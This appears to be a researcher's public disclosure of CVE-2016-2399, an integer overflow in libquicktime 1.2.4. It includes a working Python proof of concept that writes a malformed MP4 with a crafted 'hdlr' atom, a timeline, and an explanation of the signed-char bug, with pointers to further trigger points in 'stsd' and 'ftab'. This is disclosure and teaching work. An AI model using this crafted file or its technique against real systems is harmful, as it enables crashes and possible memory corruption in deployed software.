My Last bug hunting session (for fun and no-profit) has been dedicated to libquicktime
Product Page: http://libquicktime.sourceforge.net/
Description: ‘hdlr’, ‘stsd’, ‘ftab’ MP4 Atoms Integer Overflow
Affected products: All products using libquicktime version <= 1.2.4
PoC
#!/usr/bin/env python
#
# Author: Marco Romano - @nemux_ http://www.nemux.org
# libquicktime 1.2.4 Integer Overflow
#
# Product Page: http://libquicktime.sourceforge.net/
# Description: 'hdlr', 'stsd', 'ftab' MP4 Atoms Integer Overflow
# Affected products: All products using libquicktime version <= 1.2.4
#
# CVE-ID: CVE-2016-2399
#
########
import sys
import struct
import binascii
"""
There needs to be an mp4 file with these nested atoms to trigger the bug:
moov -> trak -> mdia -> hdlr
"""
hax0r_mp4 = ("0000001C667479704141414100000300336770346D70343133677036000000086D646174000001B1"
"6D6F6F76" #### moov atom "0000006C6D76686400000000CC1E6D6ECC1E6D6E000003E80000030200010000010000000000000000000000" "000100000000000000000000000000000001000000000000000000000000000040000000000000000000000000000000" "00000000000000000000000000000003000000FD756474610000001263707274000000000000FEFF0000000000126175" "7468000000000000FEFF0000000000127469746C000000000000FEFF00000000001264736370000000000000FEFF0000"
"0000001270657266000000000000FEFF000000000012676E7265000000000000FEFF00000000001A72746E6700000000" "00000000000000000000FEFF000000000018636C7366000000000000000000000000FEFF00000000000F6B7977640000" "000055C400000000276C6F6369000000000000FEFF000000000000000000000000000000FEFF0000FEFF0000000000FF"
"616C626D000000000000FEFF0000010000000E79727263000000000000000002E4"
"7472616B" #### trak atom "0000005C746B686400000001CC1E6D6ECC1E6D6E00000001000000000000030000000000000000000000000001000000" "000100000000000000000000000000000001000000000000000000000000000040000000000000000000000000000040"
"6D646961" #### mdia atom "000000206D64686400000000CC1E6D6ECC1E6D6E00003E800000300000000000000000"
"4E" #### hdlr atom length
"68646C72" #### hdlr atom
"0000000000"
"4141414141414141" #### our airstrip :)
"0000000000000000000000"
"EC" #### 236 > 127 <-- overflow here and a change in signedness too "616161000000FF736F756E000000000000000000000000536F756E6448616E646C6572000000012B6D696E6600000010")
hax0r_mp4 = bytearray(binascii.unhexlify(hax0r_mp4))
def createPoC():
try:
with open("./nemux.mp4","wb") as output:
output.write(hax0r_mp4)
print "[*] The PoC is done!"
except Exception,e:
print str(e)
print "[*] mmmm!"
def usage():
print "\nUsage? Run it -> " + sys.argv[0]
print "this poc creates an mp4 file named nemux.mp4"
print "--------------------------------------------"
print "This dummy help? " + sys.argv[0] + " help\n"
sys.exit()
if __name__ == "__main__":
try:
if len(sys.argv) == 2:
usage()
else:
print "\nlibquicktime <= 1.2.4 Integer Overflow CVE-2016-2399\n"
print "Author: Marco Romano - @nemux_ - http://www.nemux.org\n\n";
createPoC();
except Exception,e:
print str(e)
print "Ok... Something went wrong..."
sys.exit()
Timeline
- 07 Feb 2016 Bug discovered
- 17 Feb 2016 Mitre.org contacted
- 17 Feb 2016 Disclosed to the project's maintainer
- 23 Feb 2016 No response from the maintainer
- 23 Feb 2016 Publicly disclosed
References
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2399
- http://libquicktime.sourceforge.net/
- http://www.linuxfromscratch.org/blfs/view/svn/multimedia/libquicktime.html
- https://en.wikipedia.org/wiki/QuickTime_File_Format
Disclosure part
Let me make a little introduction... i'm sure this is not the only issue of this library. I suppose libquicktime needs a refactoring process (IMHO)
If you are a l33t hax0r you don't need to read the rest :)
Reading the code
When i was reading the library code, in util.c this "interesting" line caught my eye:
char len = quicktime_read_char(file);
Ok but... what's wrong?
Signed or unsigned, that is the question:
Negative numbers exist and we need to store them :) There is a mechanism to represent them using the binary code and it's by using the most significant bit (MSB) of a variable to determine the sign: if the MSB is set to 1, the variable is interpreted as negative; if it is set to 0, the variable is positive.
Now go back to the lines of code
void quicktime_read_pascal(quicktime_t *file, char *data) { char len = quicktime_read_char(file); quicktime_read_data(file, (uint8_t*)data, len); data[(int)len] = 0; }
int quicktime_read_char(quicktime_t *file) { char output; quicktime_read_data(file, (uint8_t*)(&output), 1); return output; }
They are self-explanatory, right?
But take a look to the casting. The output value will be an unsigned int, but: is "char len" signed or unsigned?
(i'm going to reveal the murderer...)
The answer is in the "limits.h" header
The standard defines three types: char, signed char and unsigned char.
look at CHAR_MIN and CHAR_MAX in limits.h
limits.h
/* Minimum and maximum values a 'signed char' can hold. */
# define SCHAR_MIN (-128)
# define SCHAR_MAX 127
/* Maximum value an 'unsigned char' can hold. (Minimum is 0.) */
# define UCHAR_MAX 255
/* Minimum and maximum values a 'char' can hold. */
# ifdef __CHAR_UNSIGNED__
# define CHAR_MIN 0
# define CHAR_MAX UCHAR_MAX
# else
# define CHAR_MIN SCHAR_MIN
# define CHAR_MAX SCHAR_MAX
# endif
If we define __CHAR_UNSIGNED__ at compile time every char will be treated as unsigned... but we are in the default case where a char is signed, then minimum and maximum values a plain char can hold are: -128 to 127. But quicktime_read_data() stores an unsigned int which can hold an integer value from 0 to 255.
==Integer overflow happens when we try to store in the char len a value greater than 127. Since an integer is signed by default, an integer overflow can cause a change in signedness.
When it is incremented, the most significant bit
(indicating signedness) is set and the integer is interpreted as being
negative. And the trick is done! :) ==
QOTD
When a bug finally makes itself known, it can be exhilarating, like you just unlocked something. A grand opportunity waiting to be taken advantage of. (cit.)
In this case i got the "grand opportunity" to learn that in 2016 i can continue to see something what i saw when i was a child at the end of the '90s :)
Let's go trigger the bug!
That's the funniest thing. To trigger the bug there needs to be a way to call quicktime_read_pascal(). I found different ways to do that, here i will use the "hdlr" atom parser. (see hdlr.c)
(QuickTime file format specification? Google is always your best friend...)
we can create an mp4 file with these nested atoms:
moov -> trak -> mdia -> hdlr
'hdlr' atom structure:
in hdlr.c -> quicktime_read_pascal(file, hdlr->component_name);
Note: The quicktime spec uses a Pascal string.
Following the structure above i've created our malicious hdlr atom and that's the hex dump:
Take a look to the last 4 bytes EC 61 61 61. The first byte "EC" is the offset that quicktime_read_pascal() needs in order to get the component name string.
0xEC = 236 (which is > than 127) <-- there's an overflow here and a change in signedness too
If the sign bit is 1, then library will use negative representation of 0xEC: -20
0xEC = 11101100 -> negative 00010011 +1 = 00010100 = 20 dec
now my char len value is -20 and the fread() will read 20 bytes back from the 0xEC byte where it will find my 0x41 padding.
nemux-lab:/home/nemux/libquicktime-1.2.4/utils# ./qtdump nemux.mp4 Segmentation fault
Write-what-where is satisfied. (..."where" not completely here but that's another story)
Tips for sunday's hax0r:
- at stsdtable.c:60
- at ftab.c:67 quicktime_read_pascal() is called more times in a for cycle
End of the disclosure part
Mom i'm an Hacker now!